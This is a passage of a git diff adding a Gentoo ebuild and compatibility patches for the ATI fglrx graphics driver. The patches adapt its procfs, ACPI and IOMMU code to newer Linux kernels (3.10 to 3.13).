+ RUN="${DISTDIR}/${DRIVERS_DISTFILE}"
+ fi
+ sh ${RUN} --extract "${S}" 2>&1 > /dev/null || die
+ fi
+
+ mkdir xvba_sdk
+ cd xvba_sdk
+ unpack ${XVBA_SDK_DISTFILE}
+}
+
+src_prepare() {
+ # version patches
+ # epatch "${FILESDIR}"/kernel/${PV}-*.patch
+ if use debug; then
+ sed -i '/^#define DRM_DEBUG_CODE/s/0/1/' \
+ "${MODULE_DIR}/firegl_public.c" \
+ || die "Failed to enable debug output."
+ fi
+
+ # see http://ati.cchtml.com/show_bug.cgi?id=495
+ #epatch "${FILESDIR}"/ati-drivers-old_rsp.patch
+ # first hunk applied upstream second (x32 related) was not
+ epatch "${FILESDIR}"/ati-drivers-x32_something_something.patch
+
+ # compile fix for AGP-less kernel, bug #435322
+ epatch "${FILESDIR}"/ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch
+
+ # Compile fix for kernel typesafe uid types #469160
+ epatch "${FILESDIR}/typesafe-kuid.diff"
+
+ epatch "${FILESDIR}/ati-drivers-13.6-linux-3.10-proc.diff"
+
+ # Compile fix, https://bugs.gentoo.org/show_bug.cgi?id=454870
+ use pax_kernel && epatch "${FILESDIR}/const-notifier-block.patch"
+
+ cd "${MODULE_DIR}"
+ # bugged fglrx build system, this file should be copied by hand
+ cp ${ARCH_DIR}/lib/modules/fglrx/build_mod/libfglrx_ip.a 2.6.x
+
+ convert_to_m 2.6.x/Makefile || die "convert_to_m failed"
+
+ # When built with ati's make.sh it defines a bunch of macros if
+ # certain .config values are set, falling back to less reliable
+ # detection methods if linux/autoconf.h is not available. We
+ # simply use the linux/autoconf.h settings directly, bypassing the
+ # detection script.
+ sed -i -e 's/__SMP__/CONFIG_SMP/' *.c *h || die "SMP sed failed"
+ sed -i -e 's/ifdef MODVERSIONS/ifdef CONFIG_MODVERSIONS/' *.c *.h \
+ || die "MODVERSIONS sed failed"
+ cd "${S}"
+
+ mkdir extra || die "mkdir extra failed"
+ cd extra
+ unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+ linux-mod_src_compile
+}
+
+src_install() {
+ linux-mod_src_install
+}
+
+pkg_postinst() {
+ elog "If you experience unexplained segmentation faults and kernel crashes"
+ elog "with this driver and multi-threaded applications such as wine,"
+ elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+ linux-mod_pkg_postinst
+}
+
+pkg_preinst() {
+ linux-mod_pkg_preinst
+}
+
+pkg_postrm() {
+ linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-13.12-acpi.patch b/x11-drivers/ati-drivers/files/ati-drivers-13.12-acpi.patch
new file mode 100644
index 00000000..3c568742
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-13.12-acpi.patch
@@ -0,0 +1,16 @@
+diff -urN common.old/lib/modules/fglrx/build_mod/kcl_acpi.c common/lib/modules/fglrx/build_mod/kcl_acpi.c
+--- common.old/lib/modules/fglrx/build_mod/kcl_acpi.c 2013-12-27 13:32:34.734832283 +0100
++++ common/lib/modules/fglrx/build_mod/kcl_acpi.c 2013-12-27 13:33:31.849831765 +0100
+@@ -1002,7 +1002,11 @@
+ #endif
+ {
+ return KCL_ACPI_ERROR;
+- }
++ }
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,9,0)
++ ((acpi_tbl_table_handler)handler)(hdr);
++#else
+ ((acpi_table_handler)handler)(hdr);
++#endif
+ return KCL_ACPI_OK;
+ }
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-13.6-linux-3.10-proc.diff b/x11-drivers/ati-drivers/files/ati-drivers-13.6-linux-3.10-proc.diff
new file mode 100644
index 00000000..bdb22eae
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-13.6-linux-3.10-proc.diff
@@ -0,0 +1,356 @@
+diff --git a/common/lib/modules/fglrx/build_mod/drmP.h b/common/lib/modules/fglrx/build_mod/drmP.h
+index 81546b2..4e74526 100755
+--- a/common/lib/modules/fglrx/build_mod/drmP.h
++++ b/common/lib/modules/fglrx/build_mod/drmP.h
+@@ -901,10 +901,6 @@ int DRM(stub_register)(const char *name,
+ int DRM(stub_unregister)(int minor);
+
+ /* Proc support (drm_proc.h) */
+-extern struct proc_dir_entry *DRM(proc_init)(drm_device_t *dev,
+- int minor,
+- struct proc_dir_entry *root,
+- struct proc_dir_entry **dev_root);
+ extern int DRM(proc_cleanup)(int minor,
+ struct proc_dir_entry *root,
+ struct proc_dir_entry *dev_root);
+diff --git a/common/lib/modules/fglrx/build_mod/drm_proc.h b/common/lib/modules/fglrx/build_mod/drm_proc.h
+index 1e3ab4a..c52ad7e 100755
+--- a/common/lib/modules/fglrx/build_mod/drm_proc.h
++++ b/common/lib/modules/fglrx/build_mod/drm_proc.h
+@@ -75,61 +75,6 @@ struct drm_proc_list {
+ #define DRM_PROC_ENTRIES (sizeof(DRM(proc_list))/sizeof(DRM(proc_list)[0]))
+
+ /**
+- * Initialize the DRI proc filesystem for a device.
+- *
+- * \param dev DRM device.
+- * \param minor device minor number.
+- * \param root DRI proc dir entry.
+- * \param dev_root resulting DRI device proc dir entry.
+- * \return root entry pointer on success, or NULL on failure.
+- *
+- * Create the DRI proc root entry "/proc/ati", the device proc root entry
+- * "/proc/ati/%minor%/", and each entry in proc_list as
+- * "/proc/ati/%minor%/%name%".
+- */
+-struct proc_dir_entry *DRM(proc_init)(drm_device_t *dev, int minor,
+- struct proc_dir_entry *root,
+- struct proc_dir_entry **dev_root)
+-{
+- struct proc_dir_entry *ent;
+- int i, j;
+- char name[64];
+-
+- if (!minor) root = create_proc_entry("dri", S_IFDIR, NULL);
+- if (!root) {
+- DRM_ERROR("Cannot create /proc/ati\n");
+- return NULL;
+- }
+-
+- sprintf(name, "%d", minor);
+- *dev_root = create_proc_entry(name, S_IFDIR, root);
+- if (!*dev_root) {
+- DRM_ERROR("Cannot create /proc/ati/%s\n", name);
+- return NULL;
+- }
+-
+- for (i = 0; i < DRM_PROC_ENTRIES; i++) {
+- ent = create_proc_entry(DRM(proc_list)[i].name,
+- S_IFREG|S_IRUGO, *dev_root);
+- if (!ent) {
+- DRM_ERROR("Cannot create /proc/ati/%s/%s\n",
+- name, DRM(proc_list)[i].name);
+- for (j = 0; j < i; j++)
+- remove_proc_entry(DRM(proc_list)[i].name,
+- *dev_root);
+- remove_proc_entry(name, root);
+- if (!minor) remove_proc_entry("dri", NULL);
+- return NULL;
+- }
+- ent->read_proc = DRM(proc_list)[i].f;
+- ent->data = dev;
+- }
+-
+- return root;
+-}
+-
+-
+-/**
+ * Cleanup the proc filesystem resources.
+ *
+ * \param minor device minor number.
+diff --git a/common/lib/modules/fglrx/build_mod/firegl_public.c b/common/lib/modules/fglrx/build_mod/firegl_public.c
+index d3ad3ce..890a0aa 100755
+--- a/common/lib/modules/fglrx/build_mod/firegl_public.c
++++ b/common/lib/modules/fglrx/build_mod/firegl_public.c
+@@ -583,6 +583,202 @@ kcl_proc_list_t KCL_PROC_FileList[] =
+ { "NULL", NULL, NULL} // Terminate List!!!
+ };
+
++
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,10,0)
++typedef int (read_proc_t)(char *page, char **start, off_t off, int count, int *eof, void *data);
++typedef int (write_proc_t)(struct file *file, const char __user *buffer, unsigned long count, void *data);
++#else
++#define PDE_DATA(inode) (PDE((inode))->data)
++#endif
++
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,10,0)
++typedef struct {
++ read_proc_t *read_func;
++ write_proc_t *write_func;
++ void *data;
++} gentoo_proc_wrapper_t;
++
++#define GENTOO_PROC_WRAPPER_OVERFLOW_MAGIC 939750305
++
++static ssize_t gentoo_proc_wrapper_read (struct file *myfile, char __user *buffer, size_t count, loff_t *offset) {
++ int is_eof=0, retval;
++ char *start, *usebuffer=NULL;
++ gentoo_proc_wrapper_t* wrapper_data=(gentoo_proc_wrapper_t*)(myfile->private_data);
++ if (PAGE_SIZE<*offset) {
++ printk(KERN_ERR "Trying to read beyond 4k on proc\n");
++ return -EIO;
++ }
++ //printk(KERN_NOTICE " call with: dev %p, func %p\n", wrapper_data->data, wrapper_data->read_func);
++
++ usebuffer=kmalloc(2*PAGE_SIZE, GFP_KERNEL);
++ if (!usebuffer)
++ return -ENOMEM;
++ ((u32*)usebuffer)[1024]=GENTOO_PROC_WRAPPER_OVERFLOW_MAGIC;
++
++ retval=wrapper_data->read_func(usebuffer, &start, *offset, count, &is_eof, wrapper_data->data);
++
++ BUG_ON(GENTOO_PROC_WRAPPER_OVERFLOW_MAGIC != ((u32*)usebuffer)[1024]);
++
++ if (0 > retval)
++ {
++ printk(KERN_ERR "Proc read failed with %d", retval);
++ goto out;
++ }
++
++ if (copy_to_user(buffer, start, retval)) {
++ printk(KERN_NOTICE "copy to user failed in amd drivers proc code\n");
++ retval=-EFAULT;
++ goto out;
++ }
++ *offset+=retval;
++
++out:
++ if (usebuffer)
++ kfree(usebuffer);
++ return retval;
++}
++static ssize_t gentoo_proc_wrapper_write (struct file *myfile, const char __user *buffer, size_t count, loff_t *offset) {
++ gentoo_proc_wrapper_t* wrapper_data=(gentoo_proc_wrapper_t*)(myfile->private_data);
++ int retval=0;
++ void *usebuffer=NULL;
++
++ BUG_ON(*offset);
++ if (!wrapper_data->write_func)
++ return -EPERM;
++
++ usebuffer=kmalloc(count, GFP_KERNEL);
++ if (!usebuffer)
++ return -ENOMEM;
++ if (copy_from_user(usebuffer, buffer, count)) {
++ printk(KERN_NOTICE "copy from user failed in amd drivers proc code\n");
++ retval=-EFAULT;
++ goto out;
++ }
++
++ retval=wrapper_data->write_func(myfile, buffer, count, wrapper_data->data);
++ *offset+=retval;
++out:
++ if (usebuffer)
++ kfree(usebuffer);
++ return retval;
++}
++static int gentoo_proc_wrapper_open(struct inode *myinode, struct file *myfile) {
++ myfile->private_data=PDE_DATA(myinode);
++ return generic_file_open(myinode, myfile);
++}
++struct file_operations gentoo_proc_fops = {
++ .read=gentoo_proc_wrapper_read,
++ .write=gentoo_proc_wrapper_write,
++ .open=gentoo_proc_wrapper_open,
++};
++
++static void *gentoo_proc_wrapper_data(read_proc_t *reader, write_proc_t *writer, void *mydata) {
++ gentoo_proc_wrapper_t *retval=kmalloc(sizeof(gentoo_proc_wrapper_t), GFP_KERNEL);
++ if (!retval)
++ return retval;
++ retval->read_func=reader;
++ retval->write_func=writer;
++ retval->data=mydata;
++ return retval;
++}
++
++static struct proc_dir_entry *firegl_proc_init( device_t *dev,
++ int minor,
++ struct proc_dir_entry *root,
++ struct proc_dir_entry **dev_root,
++ kcl_proc_list_t *proc_list ) // proc_list must be terminated!
++{
++ struct proc_dir_entry *ent;
++ char name[64];
++ kcl_proc_list_t *list = proc_list;
++ void *tempdata;
++ KCL_DEBUG1(FN_FIREGL_PROC, "minor %d, proc_list 0x%08lx\n", minor, (unsigned long)proc_list);
++ if (!minor)
++ {
++ root = proc_mkdir("ati", NULL);
++ }
++
++ if (!root)
++ {
++ KCL_DEBUG_ERROR("Cannot create /proc/ati\n");
++ return NULL;
++ }
++
++ if (minor == 0)
++ {
++ // Global major debice number entry
++ tempdata=gentoo_proc_wrapper_data((read_proc_t*)firegl_major_proc_read, NULL, NULL);
++ if (!tempdata)
++ return NULL;
++ ent = proc_create_data("major", S_IFREG|S_IRUGO, root, &gentoo_proc_fops, tempdata);
++ if (!ent)
++ {
++ remove_proc_entry("ati", NULL);
++ KCL_DEBUG_ERROR("Cannot create /proc/ati/major\n");
++ return NULL;
++ }
++ }
++
++ sprintf(name, "%d", minor);
++ *dev_root = proc_mkdir(name, root);
++ if (!*dev_root) {
++ remove_proc_entry("major", root);
++ remove_proc_entry("ati", NULL);
++ KCL_DEBUG_ERROR("Cannot create /proc/ati/%s\n", name);
++ return NULL;
++ }
++
++ while (list->f || list->fops)
++ {
++ struct file_operations *my_fops = &gentoo_proc_fops;
++ if (list->fops)
++ {
++ my_fops = (struct file_operations*)list->fops;
++ tempdata=(dev->pubdev.signature == FGL_DEVICE_SIGNATURE)? firegl_find_device(minor) : (dev);
++ }
++ else {
++ BUG_ON(!list->f);
++ tempdata=gentoo_proc_wrapper_data((read_proc_t*)list->f, NULL, (dev->pubdev.signature == FGL_DEVICE_SIGNATURE)? firegl_find_device(minor) : (dev) );
++ if (!tempdata)
++ return NULL;
++ }
++ //printk(KERN_NOTICE "name %s, dev %p, func %p, data %p\n", list->name, (dev->pubdev.signature == FGL_DEVICE_SIGNATURE)? firegl_find_device(minor) : (dev), list->f, tempdata);
++ ent = proc_create_data(list->name, S_IFREG|S_IRUGO, *dev_root, my_fops, tempdata);
++
++ if (!ent)
++ {
++ KCL_DEBUG_ERROR("Cannot create /proc/ati/%s/%s\n", name, list->name);
++ while (proc_list != list)
++ {
++ remove_proc_entry(proc_list->name, *dev_root);
++ proc_list++;
++ }
++ remove_proc_entry(name, root);
++ if (!minor)
++ {
++ remove_proc_entry("major", root);
++ remove_proc_entry("ati", NULL);
++ }
++ return NULL;
++ }
++
++ list++;
++ }
++
++ if (minor == 0)
++ {
++ // Global debug entry, only create it once
++ tempdata=gentoo_proc_wrapper_data((read_proc_t*)firegl_debug_proc_read_wrap, (write_proc_t*)firegl_debug_proc_write_wrap, dev);
++ if (!tempdata)
++ return NULL;
++ ent=proc_create_data("debug", S_IFREG|S_IRUGO, root, &gentoo_proc_fops, tempdata);
++ if (!ent)
++ return NULL;
++ }
++
++ return root;
++}
++#else
+ static struct proc_dir_entry *firegl_proc_init( device_t *dev,
+ int minor,
+ struct proc_dir_entry *root,
+@@ -677,6 +873,7 @@ static struct proc_dir_entry *firegl_proc_init( device_t *dev,
+
+ return root;
+ }
++#endif
+
+ static int firegl_proc_cleanup( int minor,
+ struct proc_dir_entry *root,
+@@ -6135,59 +6332,4 @@ void ATI_API_CALL KCL_fpu_end(void)
+ kernel_fpu_end();
+ }
+
+-/** Create new directory entry under "/proc/ati/...."
+- * Where
+- * root_dir - Root directory. If NULL then we should use "/proc/ati" root.
+- * name - Pointer to the name of directory
+- * access - Access attribute. We could use it to disable access to the directory for everybody accept owner.
+- * By default owner is root.
+- * Return NULL if failure. Pointer to proc_dir_entry otherwise
+- */
+-void * KCL_create_proc_dir(void *root_dir, const char *name, unsigned int access)
+-{
+- struct proc_dir_entry *dir = NULL;
+-
+- if (root_dir == NULL)
+- dir = create_proc_entry(name, S_IFDIR | access, firegl_stub_root);
+- else
+- dir = create_proc_entry(name, S_IFDIR | access, (struct proc_dir_entry *)root_dir);
+-
+- return dir;
+-}
+-
+-/* Remove proc directory entry
+- * root - Pointer to directory proc entry or NULL if for "/proc/ati"
+- * name - Name to delete
+- */
+-void KCL_remove_proc_dir_entry(void *root, const char *name)
+-{
+- if (root == NULL)
+- remove_proc_entry(name, firegl_stub_root);
+- else
+- remove_proc_entry(name, (struct proc_dir_entry *)root);
+-}
+-
+-
+-/* Create proc_entry under "root_dir"
+- * read_fn - Function which will be called on read request
+- * write_fn - Function which will be called on write request
+- * private_data - Pointer to private data which will be passed
+- */
+-void KCL_create_proc_entry(void *root_dir, const char *name, unsigned int access_mode, void *read_fn, void *write_fn, void *private_data)
+-{
+- struct proc_dir_entry *ent = NULL;
+-
+- if (root_dir == NULL || name == NULL)
+- return;
+-
+- ent = create_proc_entry(name, access_mode, (struct proc_dir_entry *)root_dir);
+-
+- if (ent)
+- {
+- ent->read_proc = (read_proc_t *)read_fn;
+- ent->write_proc = (write_proc_t *)write_fn;
+- ent->data = private_data;
+- }
+-}
+-
+ #endif /* __KERNEL__ */
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-13.8-beta-include-seq_file.patch b/x11-drivers/ati-drivers/files/ati-drivers-13.8-beta-include-seq_file.patch
new file mode 100644
index 00000000..fb1ba17e
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-13.8-beta-include-seq_file.patch
@@ -0,0 +1,13 @@
+diff --git a/common/lib/modules/fglrx/build_mod/firegl_public.c b/common/lib/modules/fglrx/build_mod/firegl_public.c
+index 22561c5..fdfe65e 100755
+--- a/common/lib/modules/fglrx/build_mod/firegl_public.c
++++ b/common/lib/modules/fglrx/build_mod/firegl_public.c
+@@ -520,6 +520,8 @@ static int func##_wrap(char *buf, char **start, kcl_off_t offset, \
+ }
+
+ #else
++#include <linux/seq_file.h>
++
+ #define READ_PROC_WRAP(func) \
+ static int func##_wrap(struct seq_file *m, void* data) \
+ { \
diff --git a/x11-drivers/ati-drivers/files/buildfix_kernel_3.13.patch b/x11-drivers/ati-drivers/files/buildfix_kernel_3.13.patch
new file mode 100644
index 00000000..432e6666
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/buildfix_kernel_3.13.patch
@@ -0,0 +1,30 @@
+From 6ea087272c0774fc86693a6fc379a2226e10b323 Mon Sep 17 00:00:00 2001
+From: Alberto Milone <alberto.milone@canonical.com>
+Date: Wed, 8 Jan 2014 16:09:58 +0100
+Subject: [PATCH 1/1] Add support for Linux 3.13
+
+Do not use the ACPI handle which was removed from struct acpi_dev_node
+in Linux 3.13. Use the ACPI companion device instead.
+---
+ kcl_acpi.c | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/kcl_acpi.c b/kcl_acpi.c
+index 5eb9fb1..96b6113 100755
+--- a/common/lib/modules/fglrx/build_mod/kcl_acpi.c
++++ b/common/lib/modules/fglrx/build_mod/kcl_acpi.c
+@@ -793,7 +793,11 @@ unsigned int ATI_API_CALL KCL_ACPI_GetHandles(kcl_match_info_t *pInfo)
+ {
+ #if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,12)
+ #if LINUX_VERSION_CODE >= KERNEL_VERSION(3,8,0)
++ #if LINUX_VERSION_CODE >= KERNEL_VERSION(3,13,0)
++ pInfo->video_handle = pInfo->pcidev->dev.acpi_node.companion;
++ #else
+ pInfo->video_handle = pInfo->pcidev->dev.acpi_node.handle;
++ #endif
+ #elif LINUX_VERSION_CODE > KERNEL_VERSION(2,6,19)
+ pInfo->video_handle = pInfo->pcidev->dev.archdata.acpi_handle;
+ #else
+--
+1.7.9.5
+
diff --git a/x11-drivers/ati-drivers/files/check-for-iommu-only-if-iommu-is-supported.patch b/x11-drivers/ati-drivers/files/check-for-iommu-only-if-iommu-is-supported.patch
new file mode 100644
index 00000000..79324873
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/check-for-iommu-only-if-iommu-is-supported.patch
@@ -0,0 +1,31 @@
+From 1633d55aa0fb9c2ceb0ae1eab15bdec5066d35ae Mon Sep 17 00:00:00 2001
+From: Emil Karlson <jekarlson@gmail.com>
+Date: Fri, 2 Aug 2013 01:18:41 +0300
+Subject: [PATCH 1/3] Check for iommu only, if iommu is supported.
+
+---
+ common/lib/modules/fglrx/build_mod/kcl_iommu.c | 4 +++-
+ 1 file changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/common/lib/modules/fglrx/build_mod/kcl_iommu.c b/common/lib/modules/fglrx/build_mod/kcl_iommu.c
+index c6602dd..803455c 100755
+--- a/common/lib/modules/fglrx/build_mod/kcl_iommu.c
++++ b/common/lib/modules/fglrx/build_mod/kcl_iommu.c
+@@ -183,11 +183,13 @@ void ATI_API_CALL KCL_IOMMU_UnbindPasid( KCL_PCI_DevHandle pcidev,int pasid)
+ */
+ int ATI_API_CALL KCL_IOMMU_CheckInfo( KCL_PCI_DevHandle pcidev)
+ {
++#if defined(CONFIG_INTEL_IOMMU) || defined(CONFIG_AMD_IOMMU)
+ struct pci_dev* pdev = (struct pci_dev*)pcidev;
+- if ( pdev->dev.archdata.iommu )
++ if ( pdev->dev.archdata.iommu )
+ {
+ return 1;
+ }
++#endif
+ return 0;
+ }
+
+--
+1.8.1.5
+
diff --git a/x11-drivers/ati-drivers/files/linux-3.10-proc.diff b/x11-drivers/ati-drivers/files/linux-3.10-proc.diff
new file mode 100644
index 00000000..ce4871c0
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/linux-3.10-proc.diff
@@ -0,0 +1,293 @@
+diff -Nur common/lib/modules/fglrx/build_mod/drmP.h common-r1/lib/modules/fglrx/build_mod/drmP.h
+--- common/lib/modules/fglrx/build_mod/drmP.h 2013-05-15 09:26:23.555752577 +0300
++++ common-r1/lib/modules/fglrx/build_mod/drmP.h 2013-05-16 10:39:17.496212055 +0300
+@@ -901,10 +901,6 @@
+ int DRM(stub_unregister)(int minor);
+
+ /* Proc support (drm_proc.h) */
+-extern struct proc_dir_entry *DRM(proc_init)(drm_device_t *dev,
+- int minor,
+- struct proc_dir_entry *root,
+- struct proc_dir_entry **dev_root);
+ extern int DRM(proc_cleanup)(int minor,
+ struct proc_dir_entry *root,
+ struct proc_dir_entry *dev_root);
+diff -Nur common/lib/modules/fglrx/build_mod/drm_proc.h common-r1/lib/modules/fglrx/build_mod/drm_proc.h
+--- common/lib/modules/fglrx/build_mod/drm_proc.h 2013-05-15 09:26:23.555752577 +0300
++++ common-r1/lib/modules/fglrx/build_mod/drm_proc.h 2013-05-19 02:16:16.584406160 +0300
+@@ -75,61 +75,6 @@
+ #define DRM_PROC_ENTRIES (sizeof(DRM(proc_list))/sizeof(DRM(proc_list)[0]))
+
+ /**
+- * Initialize the DRI proc filesystem for a device.
+- *
+- * \param dev DRM device.
+- * \param minor device minor number.
+- * \param root DRI proc dir entry.
+- * \param dev_root resulting DRI device proc dir entry.
+- * \return root entry pointer on success, or NULL on failure.
+- *
+- * Create the DRI proc root entry "/proc/ati", the device proc root entry
+- * "/proc/ati/%minor%/", and each entry in proc_list as
+- * "/proc/ati/%minor%/%name%".
+- */
+-struct proc_dir_entry *DRM(proc_init)(drm_device_t *dev, int minor,
+- struct proc_dir_entry *root,
+- struct proc_dir_entry **dev_root)
+-{
+- struct proc_dir_entry *ent;
+- int i, j;
+- char name[64];
+-
+- if (!minor) root = create_proc_entry("dri", S_IFDIR, NULL);
+- if (!root) {
+- DRM_ERROR("Cannot create /proc/ati\n");
+- return NULL;
+- }
+-
+- sprintf(name, "%d", minor);
+- *dev_root = create_proc_entry(name, S_IFDIR, root);
+- if (!*dev_root) {
+- DRM_ERROR("Cannot create /proc/ati/%s\n", name);
+- return NULL;
+- }
+-
+- for (i = 0; i < DRM_PROC_ENTRIES; i++) {
+- ent = create_proc_entry(DRM(proc_list)[i].name,
+- S_IFREG|S_IRUGO, *dev_root);
+- if (!ent) {
+- DRM_ERROR("Cannot create /proc/ati/%s/%s\n",
+- name, DRM(proc_list)[i].name);
+- for (j = 0; j < i; j++)
+- remove_proc_entry(DRM(proc_list)[i].name,
+- *dev_root);
+- remove_proc_entry(name, root);
+- if (!minor) remove_proc_entry("dri", NULL);
+- return NULL;
+- }
+- ent->read_proc = DRM(proc_list)[i].f;
+- ent->data = dev;
+- }
+-
+- return root;
+-}
+-
+-
+-/**
+ * Cleanup the proc filesystem resources.
+ *
+ * \param minor device minor number.
+diff -Nur common/lib/modules/fglrx/build_mod/firegl_public.c common-r1/lib/modules/fglrx/build_mod/firegl_public.c
+--- common/lib/modules/fglrx/build_mod/firegl_public.c 2013-05-15 09:26:23.545752925 +0300
++++ common-r1/lib/modules/fglrx/build_mod/firegl_public.c 2013-05-19 03:07:10.236552522 +0300
+@@ -583,6 +583,202 @@
+ { "NULL", NULL, NULL} // Terminate List!!!
+ };
+
++
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,10,0)
++typedef int (read_proc_t)(char *page, char **start, off_t off, int count, int *eof, void *data);
++typedef int (write_proc_t)(struct file *file, const char __user *buffer, unsigned long count, void *data);
++#else
++#define PDE_DATA(inode) (PDE((inode))->data)
++#endif
++
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,10,0)
++typedef struct {
++ read_proc_t *read_func;
++ write_proc_t *write_func;
++ void *data;
++} gentoo_proc_wrapper_t;
++
++#define GENTOO_PROC_WRAPPER_OVERFLOW_MAGIC 939750305
++
++static ssize_t gentoo_proc_wrapper_read (struct file *myfile, char __user *buffer, size_t count, loff_t *offset) {
++ int is_eof=0, retval;
++ char *start, *usebuffer=NULL;
++ gentoo_proc_wrapper_t* wrapper_data=(gentoo_proc_wrapper_t*)(myfile->private_data);
++ if (PAGE_SIZE<*offset) {
++ printk(KERN_ERR "Trying to read beyond 4k on proc\n");
++ return -EIO;
++ }
++ //printk(KERN_NOTICE " call with: dev %p, func %p\n", wrapper_data->data, wrapper_data->read_func);
++
++ usebuffer=kmalloc(2*PAGE_SIZE, GFP_KERNEL);
++ if (!usebuffer)
++ return -ENOMEM;
++ ((u32*)usebuffer)[1024]=GENTOO_PROC_WRAPPER_OVERFLOW_MAGIC;
++
++ retval=wrapper_data->read_func(usebuffer, &start, *offset, count, &is_eof, wrapper_data->data);
++
++ BUG_ON(GENTOO_PROC_WRAPPER_OVERFLOW_MAGIC != ((u32*)usebuffer)[1024]);
++
++ if (0 > retval)
++ {
++ printk(KERN_ERR "Proc read failed with %d", retval);
++ goto out;
++ }
++
++ if (copy_to_user(buffer, start, retval)) {
++ printk(KERN_NOTICE "copy to user failed in amd drivers proc code\n");
++ retval=-EFAULT;
++ goto out;
++ }
++ *offset+=retval;
++
++out:
++ if (usebuffer)
++ kfree(usebuffer);
++ return retval;
++}
++static ssize_t gentoo_proc_wrapper_write (struct file *myfile, const char __user *buffer, size_t count, loff_t *offset) {
++ gentoo_proc_wrapper_t* wrapper_data=(gentoo_proc_wrapper_t*)(myfile->private_data);
++ int retval=0;
++ void *usebuffer=NULL;
++
++ BUG_ON(*offset);
++ if (!wrapper_data->write_func)
++ return -EPERM;
++
++ usebuffer=kmalloc(count, GFP_KERNEL);
++ if (!usebuffer)
++ return -ENOMEM;
++ if (copy_from_user(usebuffer, buffer, count)) {
++ printk(KERN_NOTICE "copy from user failed in amd drivers proc code\n");
++ retval=-EFAULT;
++ goto out;
++ }
++
++ retval=wrapper_data->write_func(myfile, buffer, count, wrapper_data->data);
++ *offset+=retval;
++out:
++ if (usebuffer)
++ kfree(usebuffer);
++ return retval;
++}
++static int gentoo_proc_wrapper_open(struct inode *myinode, struct file *myfile) {
++ myfile->private_data=PDE_DATA(myinode);
++ return generic_file_open(myinode, myfile);
++}
++struct file_operations gentoo_proc_fops = {
++ .read=gentoo_proc_wrapper_read,
++ .write=gentoo_proc_wrapper_write,
++ .open=gentoo_proc_wrapper_open,
++};
++
++static void *gentoo_proc_wrapper_data(read_proc_t *reader, write_proc_t *writer, void *mydata) {
++ gentoo_proc_wrapper_t *retval=kmalloc(sizeof(gentoo_proc_wrapper_t), GFP_KERNEL);
++ if (!retval)
++ return retval;
++ retval->read_func=reader;
++ retval->write_func=writer;
++ retval->data=mydata;
++ return retval;
++}
++
++static struct proc_dir_entry *firegl_proc_init( device_t *dev,
++ int minor,
++ struct proc_dir_entry *root,
++ struct proc_dir_entry **dev_root,
++ kcl_proc_list_t *proc_list ) // proc_list must be terminated!
++{
++ struct proc_dir_entry *ent;
++ char name[64];
++ kcl_proc_list_t *list = proc_list;
++ void *tempdata;
++ KCL_DEBUG1(FN_FIREGL_PROC, "minor %d, proc_list 0x%08lx\n", minor, (unsigned long)proc_list);
++ if (!minor)
++ {
++ root = proc_mkdir("ati", NULL);
++ }
++
++ if (!root)
++ {
++ KCL_DEBUG_ERROR("Cannot create /proc/ati\n");
++ return NULL;
++ }
++
++ if (minor == 0)
++ {
++ // Global major debice number entry
++ tempdata=gentoo_proc_wrapper_data((read_proc_t*)firegl_major_proc_read, NULL, NULL);
++ if (!tempdata)
++ return NULL;
++ ent = proc_create_data("major", S_IFREG|S_IRUGO, root, &gentoo_proc_fops, tempdata);
++ if (!ent)
++ {
++ remove_proc_entry("ati", NULL);
++ KCL_DEBUG_ERROR("Cannot create /proc/ati/major\n");
++ return NULL;
++ }
++ }
++
++ sprintf(name, "%d", minor);
++ *dev_root = proc_mkdir(name, root);
++ if (!*dev_root) {
++ remove_proc_entry("major", root);
++ remove_proc_entry("ati", NULL);
++ KCL_DEBUG_ERROR("Cannot create /proc/ati/%s\n", name);
++ return NULL;
++ }
++
++ while (list->f || list->fops)
++ {
++ struct file_operations *my_fops = &gentoo_proc_fops;
++ if (list->fops)
++ {
++ my_fops = (struct file_operations*)list->fops;
++ tempdata=(dev->pubdev.signature == FGL_DEVICE_SIGNATURE)? firegl_find_device(minor) : (dev);
++ }
++ else {
++ BUG_ON(!list->f);
++ tempdata=gentoo_proc_wrapper_data((read_proc_t*)list->f, NULL, (dev->pubdev.signature == FGL_DEVICE_SIGNATURE)? firegl_find_device(minor) : (dev) );
++ if (!tempdata)
++ return NULL;
++ }
++ //printk(KERN_NOTICE "name %s, dev %p, func %p, data %p\n", list->name, (dev->pubdev.signature == FGL_DEVICE_SIGNATURE)? firegl_find_device(minor) : (dev), list->f, tempdata);
++ ent = proc_create_data(list->name, S_IFREG|S_IRUGO, *dev_root, my_fops, tempdata);
++
++ if (!ent)
++ {
++ KCL_DEBUG_ERROR("Cannot create /proc/ati/%s/%s\n", name, list->name);
++ while (proc_list != list)
++ {
++ remove_proc_entry(proc_list->name, *dev_root);
++ proc_list++;
++ }
++ remove_proc_entry(name, root);
++ if (!minor)
++ {
++ remove_proc_entry("major", root);
++ remove_proc_entry("ati", NULL);
++ }
++ return NULL;
++ }
++
++ list++;
++ }
++
++ if (minor == 0)
++ {
++ // Global debug entry, only create it once
++ tempdata=gentoo_proc_wrapper_data((read_proc_t*)firegl_debug_proc_read_wrap, (write_proc_t*)firegl_debug_proc_write_wrap, dev);
++ if (!tempdata)
++ return NULL;
++ ent=proc_create_data("debug", S_IFREG|S_IRUGO, root, &gentoo_proc_fops, tempdata);
++ if (!ent)
++ return NULL;
++ }
++
++ return root;
++}
++#else
